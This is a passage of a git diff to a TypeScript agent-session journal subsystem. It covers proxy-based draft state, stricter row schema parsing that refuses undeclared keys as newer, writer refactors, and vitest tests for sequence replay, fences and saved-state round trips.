String(key) + ), + has: (_target, key) => Reflect.has(current(), key), + ownKeys: () => Reflect.ownKeys(current()), + getOwnPropertyDescriptor: (_target, key) => { + const descriptor = Reflect.getOwnPropertyDescriptor(current(), key) + return ( + descriptor && { ...descriptor, configurable: key !== 'length' || !Array.isArray(value) } + ) + }, + set: (_target, key, next) => { + const before = Reflect.getOwnPropertyDescriptor(current(), key) + if (!before || !Object.is(before.value, next)) { + this.access.assign(next) + assignedKeys.add(key) + Reflect.set(writable(), key, next) + mark() + } + return true + }, + deleteProperty: (_target, key) => { + if (Object.hasOwn(current(), key)) { + Reflect.deleteProperty(writable(), key) + mark() + } + return true + }, + defineProperty: (_target, key, descriptor) => { + this.access.assign(descriptor.value) + assignedKeys.add(key) + Reflect.defineProperty(writable(), key, descriptor) + mark() + return true + } + }) + node = { + value: proxy, + current, + finish: () => { + if (!dirty && !this.assigned.has(value)) { + return value + } + const result = writable() + const keys = Reflect.ownKeys(result) + for (const key of keys) { + const child: unknown = Reflect.getOwnPropertyDescriptor(result, key)?.value + if (assignedKeys.has(key) || this.assigned.has(value) || this.tracks(child)) { + Reflect.set(result, key, this.finish(child)) + } + } + // Holders of reducer objects across commits keep reading the live object, so apply the + // committed copy to it, keeping the key order in-place mutation would have left. + const previous = Reflect.ownKeys(value) + const reordered = + !Array.isArray(value) && previous.some((key, index) => key !== keys[index]) + for (const key of previous) { + if (reordered || !Object.hasOwn(result, key)) { + Reflect.deleteProperty(value, key) + } + } + for (const key of keys) { + Reflect.set(value, key, Reflect.getOwnPropertyDescriptor(result, key)?.value) + } + return value + }, + listen + } + } + this.originals.set(value, node) + this.proxies.set(node.value, node) + return node + } + + changes(reset = false): JournalEntryChange[] { + return this.collections.flatMap((collection) => collection.changes(reset)) + } + + /** Reads a draft value as it stands without tracking it, so serializing a changed value reaches + * no proxy trap and adds no node. */ + untracked(value: unknown): unknown { + if (typeof value !== 'object' || value === null) { + return value + } + return (this.proxies.get(value) ?? this.originals.get(value))?.current() ?? value + } + + adopt(value: T): T { + const result = this.resolve(value) + for (const apply of this.pending) { + apply() + } + return result + } + + private resolve(value: T): T { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: finishing returns the value itself or the live object its draft stands for, so its type is unchanged. + return this.finish(value) as T + } + + private tracks(value: unknown): boolean { + return ( + typeof value === 'object' && + value !== null && + (this.originals.has(value) || this.proxies.has(value)) + ) + } + + private finish(value: unknown): unknown { + if (typeof value !== 'object' || value === null) { + return value + } + const previous = this.resolved.get(value) + if (previous) { + return previous + } + const node = this.proxies.get(value) ?? this.originals.get(value) + if (node) { + const result = node.finish() + this.resolved.set(value, result) + this.resolved.set(node.value, result) + return result + } + this.resolved.set(value, value) + if (value instanceof Map || value instanceof Set) { + return value + } + // Values created during the fold may hold drafts introduced by spread or destructuring. + for (const key of Reflect.ownKeys(value)) { + const child: unknown = Reflect.getOwnPropertyDescriptor(value, key)?.value + const finished = this.finish(child) + if (finished !== child) { + Reflect.set(value, key, finished) + } + } + return value + } +} + +/** Fold onto a draft of `state`; the live state changes only when `adopt` runs after COMMIT. */ +export function isolateJournalTransition( + state: JournalReducerState, + fold: (draft: JournalReducerState) => T +): { + state: JournalReducerState + result: T + changes: (reset?: boolean) => JournalEntryChange[] + /** A `JSON.stringify` replacer giving each draft value as it stands, untracked. */ + untracked: (key: string, value: unknown) => unknown + adopt: () => JournalReducerState + tracked: () => number +} { + const draft = new JournalDraft() + const candidate = draft.wrap(state, () => undefined, '') + const result = fold(candidate) + return { + state: candidate, + result, + changes: (reset) => draft.changes(reset), + untracked: (_key, value) => draft.untracked(value), + adopt: () => draft.adopt(candidate), + tracked: () => draft.nodes + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts b/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts index ccc43a7d635..a420b05262c 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-context-usage.spec.ts @@ -59,7 +59,7 @@ export function registerJournalRowContextUsageTests(): void { let root: string let clock = 1_000 - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const open = () => journals.open({ @@ -123,7 +123,7 @@ export function registerJournalRowContextUsageTests(): void { try { const rowJson = liveTestJournalRows(opened.db, IDENTITY.sessionId)[1]?.rowJson ?? '' const future = JSON.parse(rowJson) - future.body.contextUsage = { used: { kind: 'measured-later', tokens: 'many' } } + future.body.contextUsage = { used: { kind: 'unknown', capturedAt: 'later' } } updateTestJournalRowJson(opened.db, IDENTITY.sessionId, 2, JSON.stringify(future)) } finally { await opened.close() diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts b/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts index c58ab5eb60d..f3de0cb7120 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema-version.spec.ts @@ -15,7 +15,7 @@ export function registerJournalRowSchemaVersionTests(): void { // Inspect raw rows: upcasting hides the version older readers would see on disk. describe('journal row schema versions', () => { let root = '' - const opener = createTrackedJournalOpener() + const opener = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-row-version-')) diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts b/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts index 8016f61aa29..83c2dbd5f37 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema.test.ts @@ -196,12 +196,16 @@ describe('journal row validation', () => { ).toBe(false) }) - it('keeps forward compatibility for open string fields and unknown block types', () => { + it('keeps open string fields readable and refuses an unknown block type as newer', () => { const item = (body: unknown) => ({ ...BASE, kind: 'item', itemId: 'i-1', revision: 1, body }) - // Renderers skip unknown block types without dereferencing their fields. + // A saved row's block types are closed: a newer one refuses as a newer Orca's. expect( - parse(item({ kind: 'message', role: 'user', blocks: [{ type: 'future-block', data: 1 }] })) - ).toBe(true) + parseJournalRow( + JSON.stringify( + item({ kind: 'message', role: 'user', blocks: [{ type: 'future-block', data: 1 }] }) + ) + ) + ).toEqual({ ok: false, unreadable: true }) expect( parse(item({ kind: 'message', role: 'narrator', blocks: [{ type: 'text', text: 'hi' }] })) ).toBe(true) @@ -217,8 +221,7 @@ describe('journal row validation', () => { selectedOptionId: null, resolvedBy: null, resolvedAt: null - }, - futureField: 'ignored' + } }) ) ).toBe(true) @@ -425,8 +428,8 @@ describe('producer linkage on the persisted row', () => { expect(parsed.ok).toBe(true) }) - it('reads the same row with linkage put INSIDE a prompt option, ignoring the key there', () => { - // Legacy strict prompt bodies rejected unknown keys; linkage must stay on the row base. + it("refuses the same row with linkage put INSIDE a prompt option as a newer Orca's", () => { + // A key a prompt option does not declare is a newer build's; linkage stays on the row base. const smuggled = { ...BASE, v: 3, @@ -440,9 +443,7 @@ describe('producer linkage on the persisted row', () => { resolution } } - const parsed = parseJournalRow(JSON.stringify(smuggled)) - expect(parsed.ok && parsed.row.kind === 'item' && parsed.row.body).toEqual(smuggled.body) - expect(parsed.ok && 'agentId' in parsed.row).toBe(false) + expect(parseJournalRow(JSON.stringify(smuggled))).toEqual({ ok: false, unreadable: true }) }) }) @@ -523,8 +524,7 @@ it.each([ worker: { ...startWorker, party: { ...startWorker.party, orcaSessionId: 'invalid' } }, senders: [] }, - { worker: null, senders: [] }, - { worker: { futureIdentity: 'new shape' }, senders: [] } + { worker: null, senders: [] } ])('replays open worker metadata without damaging task/core: $worker', ({ worker, senders }) => { const body = { kind: 'agent-start', dispatchId: 'dispatch', task: ' Full task\r\nEND ', worker } const parsed = parseJournalRow( diff --git a/src/main/native-chat/agent-session-journal/journal-row-schema.ts b/src/main/native-chat/agent-session-journal/journal-row-schema.ts index bee5568d212..24dd927fe9a 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-schema.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-schema.ts @@ -22,6 +22,7 @@ import { import { isJournalTag } from '../../../shared/agent-session-journal-open-union' import type { StructuredAgentSessionStopCause } from '../agent-session-wire/structured-agent-session-stop-cause' import { dropUnusableRowAnnotations } from './journal-row-unusable-annotations' +import { journalRowDeclaresMore } from './journal-storage-row-schema' import { journalQueueRowContent, type JournalQueueRow } from './journal-queue-events' /** Put additive annotations on the base: older strict prompt bodies reject unknown keys. */ @@ -208,7 +209,14 @@ export function parseJournalRow(line: string): JournalRowParse { if (version === null || !Number.isInteger(version) || version < 1) { return { ok: false, unreadable: false } } - if (version > AGENT_SESSION_JOURNAL_SCHEMA_VERSION) { + // A key or tag this build does not declare in a row of a kind it reads is refused as newer before + // it can be normalized away and the row's value restated without it. + if ( + version > AGENT_SESSION_JOURNAL_SCHEMA_VERSION || + (typeof record.kind === 'string' && + KNOWN_ROW_KINDS.has(record.kind) && + journalRowDeclaresMore(record)) + ) { return { ok: false, unreadable: true } } const upcast = upcastRow(record, version) diff --git a/src/main/native-chat/agent-session-journal/journal-row-table.ts b/src/main/native-chat/agent-session-journal/journal-row-table.ts index bc01a932345..fda3f14708a 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-table.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-table.ts @@ -35,8 +35,19 @@ export function insertJournalRow( row: JournalRow, savedAt = row.ts ): number { + const { rowJson } = journalRowReadBack(sessionId, row) + // The table timestamp records the save; the JSON timestamp can remain pinned to item start. + db.prepare(INSERT_ROW).run(sessionId, row.epoch, row.seq, savedAt, rowJson) + return Buffer.byteLength(rowJson, 'utf8') +} + +/** Rejects a row the reader would not read back before it can break the next load, and returns the + * row the reader sees: without the annotations it drops as unusable. */ +export function journalRowReadBack( + sessionId: string, + row: JournalRow +): { rowJson: string; stored: JournalRow } { const rowJson = serializeJournalRow(row) - // Reject unreadable rows before they can break the next load; the caller rolls back. const readBack = parseJournalRow(rowJson) if (!readBack.ok || readBack.row.seq !== row.seq) { throw new AgentSessionJournalError( @@ -44,9 +55,7 @@ export function insertJournalRow( `the ${row.kind} row for ${sessionId} would not read back, so it was not written` ) } - // The table timestamp records the save; the JSON timestamp can remain pinned to item start. - db.prepare(INSERT_ROW).run(sessionId, row.epoch, row.seq, savedAt, rowJson) - return Buffer.byteLength(rowJson, 'utf8') + return { rowJson, stored: readBack.row } } // Page fetches release read snapshots before reduction so WAL checkpoints are not blocked. @@ -55,9 +64,10 @@ const EPOCH_ROW_PAGE_SIZE = 128 export function* iterateJournalEpochRows( db: Database.Database, sessionId: string, - epoch: string + epoch: string, + afterSequence = Number.MIN_SAFE_INTEGER ): Generator { - let afterSeq = Number.MIN_SAFE_INTEGER + let afterSeq = afterSequence for (;;) { const page = readJournalRowsAfter(db, sessionId, epoch, afterSeq, EPOCH_ROW_PAGE_SIZE) yield* page diff --git a/src/main/native-chat/agent-session-journal/journal-row-writer.ts b/src/main/native-chat/agent-session-journal/journal-row-writer.ts index a2905157b30..40941b40b63 100644 --- a/src/main/native-chat/agent-session-journal/journal-row-writer.ts +++ b/src/main/native-chat/agent-session-journal/journal-row-writer.ts @@ -47,6 +47,7 @@ export type JournalRowWriterDeps = { readOnly: () => boolean highestFence: () => number nextSequence: () => number + prepare?: (db: Database.Database, rows: readonly JournalRow[], savedAt: number) => () => void commit: (rows: readonly JournalRow[], savedAt: number) => void /** Streamed-text-only revisions may skip per-commit fsync; settlement makes them durable. */ streamedTextRevision?: (row: JournalRow) => boolean @@ -65,14 +66,19 @@ export class JournalRowWriter { const row = build(this.deps.nextSequence(), savedAt) assertJournalFence(row.fence, this.deps.highestFence()) const receipt = typeof prepareReceipt === 'function' ? prepareReceipt([row]) : prepareReceipt + const streamed = !receipt && this.streamed([row]) this.deps.database().transaction( (db) => { - insertJournalRow(db, this.deps.sessionId, row, savedAt) + if (!this.deps.prepare) { + insertJournalRow(db, this.deps.sessionId, row, savedAt) + } + const adopt = this.deps.prepare?.(db, [row], savedAt) receipt?.write(db, row) + return adopt }, - !receipt && this.streamed([row]) + streamed, + (adopt) => adopt?.() ) - // Adopt durable sequence state before fallible work: nonthrowing receipt ledger, then fold. receipt?.committed() this.deps.commit([row], savedAt) return row @@ -105,14 +111,20 @@ export class JournalRowWriter { assertJournalFence(row.fence, this.deps.highestFence()) } const receipt = typeof prepareReceipt === 'function' ? prepareReceipt(rows) : prepareReceipt + const streamed = !receipt && this.streamed(rows) this.deps.database().transaction( (db) => { - for (const row of rows) { - insertJournalRow(db, this.deps.sessionId, row, ts) + if (!this.deps.prepare) { + for (const row of rows) { + insertJournalRow(db, this.deps.sessionId, row, ts) + } } + const adopt = this.deps.prepare?.(db, rows, ts) receipt?.write(db, receiptRow?.(rows)) + return adopt }, - !receipt && this.streamed(rows) + streamed, + (adopt) => adopt?.() ) receipt?.committed() this.deps.commit(rows, ts) diff --git a/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts b/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts new file mode 100644 index 00000000000..3d1a2f6404d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-saved-state.test.ts @@ -0,0 +1,246 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + agentJournalItemKey, + agentJournalSubmissionKey +} from '../../../shared/agent-session-journal-item-key' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { SQLITE_TABLE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-storage-dispositions' +import { + MAX_JOURNAL_APPLIED_SETTLEMENT_IDS, + renderJournalState, + type JournalReducerState +} from './journal-reducer' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { restoreJournal } from './journal-open' +import type { JournalRow } from './journal-row-schema' +import type { JournalHostDatabase } from './journal-host-database' + +const identity: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const providerHandle = { kind: 'codex', threadId: 'thread-1' } as const +const epoch = 'epoch-1' +const text = ( + value: string, + role: 'user' | 'assistant' = 'assistant' +): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text: value }] +}) +const base = (seq: number) => ({ v: 4, epoch, seq, fence: 1, ts: 1_000 + seq }) +const itemId = (ordinal: number) => + agentJournalItemKey({ provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal }) +let root: string +let database: JournalHostDatabase +const journals = createTrackedJournalOpener() + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-saved-state-')) + database = openTestJournalHostDatabase(root) +}) +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +function write(rows: readonly JournalRow[]): JournalReducerState { + const result = database.transaction((db) => { + publishTestJournalEpoch(db, identity.sessionId, epoch) + return publishJournalOutcomeEpoch(db, identity.sessionId, epoch, rows) + }) + return result.adopt() +} + +function requireState(state: JournalReducerState | null | undefined): JournalReducerState { + expect(state).toBeTruthy() + if (!state) { + throw new Error('missing journal state') + } + return state +} + +function expectSameState(actual: JournalReducerState, expected: JournalReducerState): void { + expect(Object.keys(actual)).toEqual(Object.keys(expected)) + const actualFields: Record = { ...actual } + const expectedFields: Record = { ...expected } + for (const [field, right] of Object.entries(expectedFields)) { + const left = actualFields[field] + if ( + (left instanceof Map && right instanceof Map) || + (left instanceof Set && right instanceof Set) + ) { + expect([...left]).toStrictEqual([...right]) + } else if (field === 'queue') { + expect([...actual.queue.cards]).toStrictEqual([...expected.queue.cards]) + expect(actual.queue.revision).toBe(expected.queue.revision) + } else if (field === 'derivedTurnScope') { + expect(actual.derivedTurnScope.snapshot()).toBe(expected.derivedTurnScope.snapshot()) + } else { + expect(left).toStrictEqual(right) + } + } + expect(renderJournalState(actual)).toStrictEqual(renderJournalState(expected)) +} + +it('round trips the complete replayed reducer, including insertion order and valueless echoes', () => { + for (const table of [ + 'journal_rows', + 'journal_sessions', + 'journal_outcomes', + 'journal_outcome_epochs', + 'journal_outcome_generations' + ]) { + expect( + database.db + .prepare("SELECT name FROM sqlite_schema WHERE type = 'table' AND name = ?") + .get(table) + ).toEqual({ name: table }) + expect(SQLITE_TABLE_DISPOSITIONS[`agent-session-journal.${table}`]).toMatchObject({ + disposition: 'not-applicable', + item: 52 + }) + } + const user = text('Please investigate', 'user') + const rows: JournalRow[] = [ + { ...base(1), kind: 'epoch', reason: 'legacy_import', providerHandle }, + { + ...base(2), + kind: 'queue', + messageId: 'draft', + change: { + op: 'queued', + body: user, + position: 1, + queuedAt: { epoch, sequence: 2 }, + options: { model: 'model-a' } + } + }, + { + ...base(3), + kind: 'submission', + clientMessageId: 'send-1', + payloadFingerprint: agentSessionSendBodyFingerprint(identity.sessionId, user), + body: user, + providerHandle, + handoverRecorded: true, + queuedMessageId: 'draft', + origin: 'client' + }, + { + ...base(4), + kind: 'dispatch', + clientMessageId: 'send-1', + state: 'pending', + providerItemId: null, + reason: null, + carries: ['stopped-2', 'stopped-1'] + }, + { ...base(5), kind: 'item', itemId: itemId(1), revision: 1, body: user }, + { + ...base(6), + kind: 'item', + itemId: itemId(2), + revision: 1, + body: text('echo'), + // A declaration without a known original, as the writers store it (JSON keeps no undefined). + echoOf: null + }, + { ...base(7), kind: 'item', itemId: itemId(3), revision: 1, body: text('removed') }, + { ...base(8), kind: 'tombstone', itemId: itemId(3), revision: 2 }, + { + ...base(9), + kind: 'tombstone', + itemId: 'stop', + revision: 1, + stopEvent: { reason: 'user-stop', at: 1_009 } + }, + { + ...base(10), + kind: 'tombstone', + itemId: 'clear', + revision: 1, + queueClear: { operationId: 'clear-1', messageIds: ['draft'] } + }, + { ...base(11), kind: 'tombstone', itemId: 'reopen', revision: 1, queueReopen: true } + ] + for (let index = 0; index < MAX_JOURNAL_APPLIED_SETTLEMENT_IDS + 2; index++) { + rows.push({ + ...base(rows.length + 1), + kind: 'lifecycle-batch', + settlementId: `settlement-${index}`, + mutations: [ + { kind: 'item', itemId: itemId(4), revision: index + 1, body: text(`progress ${index}`) } + ] + }) + } + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(7), + revision: 1, + body: { kind: 'turn', turnId: 'removed-turn', state: 'running' } + }) + rows.push({ ...base(rows.length + 1), kind: 'tombstone', itemId: itemId(7), revision: 2 }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(5), + revision: 1, + body: { kind: 'turn', turnId: 'open-turn', state: 'running' } + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(6), + revision: 1, + executionOwner: 2, + body: text('Working') + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(3), + revision: 3, + body: text('Recreated') + }) + for (const clientMessageId of ['send-3', 'send-2']) { + rows.push({ + ...base(rows.length + 1), + kind: 'submission', + clientMessageId, + payloadFingerprint: agentSessionSendBodyFingerprint(identity.sessionId, user), + body: user, + providerHandle + }) + } + const state = write(rows) + expect(state.items.has(agentJournalSubmissionKey('send-1'))).toBe(true) + expect(state.itemEchoes.has(itemId(2))).toBe(true) + expect(state.itemEchoes.get(itemId(2))).toBeNull() + expect([...state.appliedSettlementIds][0]).toBe('settlement-2') + expect(state.derivedTurnScope.snapshot()).toBe(itemId(5)) + const restored = requireState(restoreJournal(database.db, identity.sessionId)?.state) + expectSameState(restored, state) + expect(restored.derivedTurnScope.scopeFor(text('next'))).toEqual({ + kind: 'turn', + turnItemId: itemId(5) + }) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts b/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts new file mode 100644 index 00000000000..8121483857d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts @@ -0,0 +1,286 @@ +import type { createFixture } from './journal-store-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { describe, expect, it } from 'vitest' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { + agentJournalItemKey, + boundJournalKeyComponent, + MAX_JOURNAL_KEY_COMPONENT_CHARS +} from '../../../shared/agent-session-journal-item-key' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { AgentSessionJournalError } from './journal-store' +import { + openTestJournalHostDatabase, + liveTestJournalRows, + deleteTestJournalRow, + seedLegacyTestJournal, + pinTestJournalInputMode +} from './journal-host-database-test-support' + +export function registerJournalSequenceReplayTests( + fixture: ReturnType +): void { + describe('sequences', () => { + it('assigns a contiguous sequence with no gaps or reuse under concurrent appends', async () => { + const journal = await fixture.open() + const results = await Promise.all( + Array.from({ length: 25 }, (_unused, index) => + journal.appendItem(fixture.item(index), fixture.body(`m${index}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ) + ) + const sequences = results.map((result) => result.cursor.sequence) + expect(new Set(sequences).size).toBe(25) + expect(sequences.slice().sort((a, b) => a - b)).toEqual( + Array.from({ length: 25 }, (_unused, index) => index + 2) + ) + }) + + it('serializes revisions of one item so the last write wins deterministically', async () => { + const journal = await fixture.open() + const results = await Promise.all([ + journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }), + journal.appendItem(fixture.item(0), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }), + journal.appendItem(fixture.item(0), fixture.body('c'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ]) + expect(results.map((result) => result.revision)).toEqual([1, 2, 3]) + expect(journal.snapshot().items).toHaveLength(1) + expect(journal.snapshot().items[0]?.revision).toBe(3) + }) + + it('visits reduced items at their creation sequence without promoting an older revision', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('first'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const latest = await journal.appendItem(fixture.item(1), fixture.body('second'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(0), fixture.body('first revised'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const visited: { itemId: string; sequence: number }[] = [] + + journal.visitItems((itemId, sequence) => visited.push({ itemId, sequence })) + + expect(visited).toEqual([ + { itemId: agentJournalItemKey(fixture.item(0)), sequence: 2 }, + { itemId: latest.itemId, sequence: latest.cursor.sequence } + ]) + }) + + it('reads the live turn off reduced items, agreeing with the rendered snapshot', async () => { + const journal = await fixture.open() + const turnItem = (turnId: string): AgentJournalItemIdentity => ({ + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: `turn-lifecycle:${turnId}` + }) + const rendered = (): string | null => + activeStructuredAgentSessionTurnId(journal.snapshot().items) + const bothAgreeOn = async (turnId: string | null): Promise => { + expect(journal.runningTurn()?.turnId ?? null).toBe(turnId) + expect(rendered()).toBe(turnId) + } + + await journal.appendItem( + turnItem('turn-1'), + { kind: 'turn', turnId: 'turn-1', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendItem(fixture.item(0), fixture.body('work'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await bothAgreeOn('turn-1') + + // Revisions retain creation position. + await journal.appendItem( + turnItem('turn-1'), + { kind: 'turn', turnId: 'turn-1', state: 'completed' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await bothAgreeOn(null) + + await journal.appendItem( + turnItem('turn-2'), + { kind: 'turn', turnId: 'turn-2', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await bothAgreeOn('turn-2') + }) + + it('preserves an oversized identity and its raw digest-form mimic across reopen', async () => { + const oversizedTurnId = 'a'.repeat(MAX_JOURNAL_KEY_COMPONENT_CHARS + 1) + const digestFormMimic = boundJournalKeyComponent(oversizedTurnId) + const identityFor = (turnId: string): AgentJournalItemIdentity => ({ + provider: 'codex', + threadId: 'thread-1', + turnId, + ordinal: 0 + }) + const oversizedIdentity = identityFor(oversizedTurnId) + const mimicIdentity = identityFor(digestFormMimic) + const journal = await fixture.open() + + const oversized = await journal.appendItem(oversizedIdentity, fixture.body('oversized'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const mimic = await journal.appendItem(mimicIdentity, fixture.body('mimic'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(oversized.itemId).not.toBe(mimic.itemId) + expect([oversized.revision, mimic.revision]).toEqual([1, 1]) + + const reopened = await fixture.open() + expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('oversized'), + fixture.body('mimic') + ]) + + await reopened.appendTombstone(oversizedIdentity, { fence: 1 }) + const afterTombstoneReopen = await fixture.open() + expect(afterTombstoneReopen.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('mimic') + ]) + }) + }) + + describe('fences', () => { + it('rejects an append from a writer behind the journal', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await expect( + journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 6, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ).rejects.toBeInstanceOf(AgentSessionJournalError) + }) + + it('keeps accepting appends after a rejected one', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal + .appendItem(fixture.item(1), fixture.body('b'), { + fence: 6, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + .catch(() => undefined) + await journal.appendItem(fixture.item(2), fixture.body('c'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('a'), + fixture.body('c') + ]) + }) + }) + + describe('replay', () => { + it('reopens to the same render model the live writer held', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(0), fixture.body('a2'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendTombstone(fixture.item(1), { fence: 1 }) + const live = journal.snapshot() + + const reopened = await fixture.open() + expect(reopened.snapshot()).toEqual(live) + }) + + it('serves a resume from a cursor and refuses one from a stale epoch', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const cursor = journal.cursor() + await journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + const resumed = journal.readSince(cursor) + expect(resumed.ok && resumed.rows).toHaveLength(1) + + await journal.rollEpoch('handle_forked', 2) + expect(journal.readSince(cursor)).toEqual({ ok: false, reset: 'epoch_changed' }) + }) + + it('rebuilds from a clean epoch after a rollover', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.rollEpoch('unreconcilable_prefix', 2) + expect(journal.snapshot().items).toHaveLength(0) + + const reopened = await fixture.open() + expect(reopened.epoch).toBe(journal.epoch) + expect(reopened.snapshot().items).toHaveLength(0) + }) + + it('refuses a journal with a gap and keeps every row', async () => { + seedLegacyTestJournal(openTestJournalHostDatabase(fixture.root), { + identity: fixture.IDENTITY, + now: fixture.tick + }) + const journal = await fixture.open() + pinTestJournalInputMode(journal) + for (let index = 0; index < 4; index += 1) { + await journal.appendItem(fixture.item(index), fixture.body(`m${index}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + await journal.close() + await fixture.withJournalDatabase(fixture.root, (db) => { + deleteTestJournalRow(db, fixture.IDENTITY.sessionId, 3) + }) + + await expect(fixture.open()).rejects.toMatchObject({ + refusal: { details: { reason: 'journalCorrupt' } } + }) + await fixture.withJournalDatabase(fixture.root, (db) => { + const rows = liveTestJournalRows(db, fixture.IDENTITY.sessionId) + expect(rows.map((row) => row.seq)).toEqual([1, 2, 4, 5]) + }) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-codec.ts b/src/main/native-chat/agent-session-journal/journal-state-codec.ts new file mode 100644 index 00000000000..2263f74089c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-codec.ts @@ -0,0 +1,45 @@ +import type { JournalReducerState } from './journal-reducer' +import { durableQueuePauseMarks } from './journal-outcome-format-1-decode' + +/** The whole chat in a comparable form, insertion order included: a restore must equal live. */ +export function encodeJournalState(state: JournalReducerState): { + stateJson: string + items: { itemId: string; itemJson: string; ordinal: number }[] +} { + const stored = { + sessionId: state.sessionId, + epoch: state.epoch, + lastSequence: state.lastSequence, + lastActivityAt: 